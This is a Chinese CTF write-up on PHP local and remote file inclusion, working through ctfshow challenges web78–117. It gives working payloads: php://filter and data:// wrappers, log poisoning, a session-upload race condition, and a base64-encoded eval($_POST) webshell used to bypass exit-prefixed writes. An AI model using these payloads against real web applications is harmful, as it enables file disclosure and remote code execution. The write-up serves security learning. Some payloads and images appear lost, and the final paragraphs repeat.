网络知识 娱乐 文件包含(CTF)

文件包含(CTF)

文件包含

留言 连接数据库
查看留言 连接数据库
登录 连接数据库
注册 连接数据库

代码的重复

留言

查看留言 连接数据库单独的文件

登录

注册

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

文件上传JEG PNG JPEG GlF先上传PNG图片马,然后再包含。

txt png rar

把文件里面的内容当作PHP代码执行。

文件包含产生原因:

1.web应用实现了动态包含:

image-20220325200649041

2.动态包含的文件路径参数,客户端可控:

image-20220325200859083

​ 几平所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP/ASP/ASP.net程序中比较少。以PHP为例,说明文件包含漏洞。

PHP中的文件包含

img

*语句
PHP中提供了四个文件包含的函数,四个函数之间略有区别。如下

函数 区别
include( ) 文件包含失败时,会产生警告,脚本会继续运行
include_once() 与include()功能相同,文件只会被包含一次。require( ) 文件包含失败时,会产生错误,直接结束脚本执行
require_once( ) 与require( )功能相同,文件只会被包含一次。

image-20220325194627238

inc.php被包含了两次

image-20220325195513215

image-20220325195553567

inc.php被包含了一次

*相关配置
文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(http,ftp,php伪协议)就是可以远程加载文件。我们可以通过php.ini来进行配置。如下
allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow_url_include=On/Off 远程文件包含(RFI)

文件包含示例

我们可以通过以下简单的代码来测试文件包含漏洞。准备一个fileinclude.php文件。

<?php
if(isset($_GET[ 'path ' ] ) ){
include $_GET[ 'path' ];}else{
echo "?path=info.php" ;
}
?>

该文件会从GET 方法获取path变量,也就是文件包含路径,然后包含此文件。创建一个文件info.php,这个包含的文件的内容为phpinfo( )。

<?php
phpinfo();
?>

web 78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

使用 include进行了文件包含

构造playload:

伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

将得到的内容解码:

image-20220330214334348

web 79

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

把php字符替换成???了

构造payload:

data协议

?file=data://text/plain,

image-20220330214658059

成功得到flag

web 80

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

用日志包含绕过,将执行的命令插入日志中

在User-Agent插入

?file=/var/log/nginx/access.log

image-20220330220349848

web 81

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

%0a在UA里不被解码,在浏览器可以
被替换,还是利用日志文件
UA传


image-20220330220551869

Web 82-86

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含

以POST的形式发包,传的文件随意





    
    
    




image-20220331112711993

image-20220331112738254

抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” ,并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下

image-20220331193035296

因为在上面这个页面添加的ID值是flag,所以传参

?file=/tmp/sess_flag

修改如下:这个a是随便加的,主要是为了方便爆破

image-20220331193109424

image-20220331193222299

进行爆破得到flag

image-20220331194540857

WEB83

Warning: session_destroy(): Trying to destroy uninitialized session
 in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
 
    include($file);
}else{
    highlight_file(__FILE__);
}

**分析:**多了两个函数

session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_id

session_destroy():
删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留, 也不会重置会话 cookie

这两个函数都将有关session的东西都删除了,我们无法进行session文件包含的。但是:我们的脚本或者bp仍然能够进行包含。原因在于多线程竞争的含义

知识点:

什么是多线程竞争

线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:

数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。

这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。

怎么解决多线程竞争问题?—锁

锁的好处: 确保了某段关键代码(共享数据资源)只能由一个线程从头到尾完整地执行能解决多线程资 源竞争下的原子操作问题。

锁的坏处: 阻止了多线程并发执行,包含锁的某段代码实际上只能以单线程模式执行,效率就大大地下 降了

锁的致命问题: 死锁

方法:同82

WEB84

<?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

system 这句话会删除/tem/下面的所有文件,且不能恢复

-f:强制删除文件或目录;
-r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;

还是web82的方法

WEB85

<?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

知识点:

file_exists — 检查文件或目录是否存在,如果由指定的文件或目录存在则返回 true,否则返回 false

file_get_contents — 将整个文件读入一个字符串,函数返回读取到的数据, 或者在失败时返回 false

strpos — 查找字符串首次出现的位置,返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回 false

方法:

还是web82的方法

原因是:

session.upload_progress.cleanup = on(默认开启)

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容

我们在设置session文件后,被删除了,但是一个线程刚好进行if判断,文件存在,且文件内容为空,那么就会准备执行include,同时另一个线程刚好设置了完整的session文件,那么就会被包含进去。

WEB86

<?php
 
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
 
    
}else{
    highlight_file(__FILE__);
}

知识点:

define — 定义一个常量

dirname:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点(‘.’),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false

include

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

方法:

还是web82的方法

因为设置了目录/tmp/sess_flag,所以set_include_path对我们的脚本没有用。

Web 87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "".$content);

    
}else{
    highlight_file(__FILE__);
}

base64编解码

base64转换后的字符串的数量肯定是4的倍数, 不足4的末尾补‘=’

分析:

向文件输入内容的时候会在开头写入死亡函数,从而导致直接结束代码的执行,我们要做的就是绕过这个死亡函数。

编码时,转换成Base64的最小单位就是3个字节

解码时,4个字节为一组;PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了"A-Z、a-z、0-9、+、/" 64个可打印字符)所以,通过base64解码过滤之后就只有 phpdie6 个字符我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。

其次:因为filename那里需要urldecode,而get传参的时候会进行一次urldecode,所以我们的filename需要两次urlencode。?file=php://filter/write=convert.base64-decode/resource=1.php这里需要进行url全编码,不然php会被过滤掉。

将进行base64编码为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
注意如果直接传入content,这里的+会被当做空格处理,所以在base64解码的时候就会忽略空格,自动在后面加上一个=:即PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=

解码后:<?php eval($_POST[1]);? 这样传进去就会报错

解决方法:将+进行urlencode

file_put_content和死亡·杂糅代码之缘
死亡绕过file_put_content,杂糅代码分解成php无法识别的代码
分析代码,需要对$file进行两次url加密,hackbar自带URL编码不能进行全编译,用其他工具进行全编译

file=php://filter/write=string.rot13/resource=1.php
//进行两次URL全编译
file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

file=php://filter/write=string.rot13/resource=1.php

php://filter伪协议名称

write=string.rot13过滤器通道 将传入的1.php的字母进行13位平移(凯撒加密,移动13位)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mgJ43PAU-1648740630385)(C:UserslenovoAppDataRoamingTyporatypora-user-imagesimage-20220331225434911.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xpqnw1vk-1648740630386)(C:UserslenovoAppDataRoamingTyporatypora-user-imagesimage-20220331225438675.png)]

Web 88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

正则匹配黑名单。

发现过滤很多,但是没有过滤 : 那我们就可以使用PHP伪协议 这里使用的是 data://text/plain;base64,poc 和79差不多 只是要在编码成base64的时候要去掉 =

实际上就是去掉base64后的=,作为填充使用,不影响结果

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
?file=data:text/plain,
//base64取出=
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg

web116

下载文件,png文件。

image-20220331232018888

基本都过滤了

但用的是file_get_contents,直接输入file=flag.php,用view-source查看网页源码,也可以抓包获得。

image-20220331232118204

Web 117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents); 

死亡绕过不同变量

这里过滤了 base64那就是 base64-decode。

过滤了string,不能使用字符过滤器了,

但是convert还是可以使用 转换过滤器

可以使用convert.iconv.*
file_put_content和死亡·杂糅代码之缘
**原理:**对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。

构造

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
 post:contents=??

image-20220331232328670

有很多题目都是看了大佬的博客才有思路,还有一些具体的知识没有搞懂

(112条消息) CTFSHOW-文件包含__Monica_的博客-CSDN博客(大神博客)

对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。

构造

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
 post:contents=??

[外链图片转存中…(img-e8KUX1H5-1648740630387)]

有很多题目都是看了大佬的博客才有思路,还有一些具体的知识没有搞懂

(112条消息) CTFSHOW-文件包含__Monica_的博客-CSDN博客(大神博客)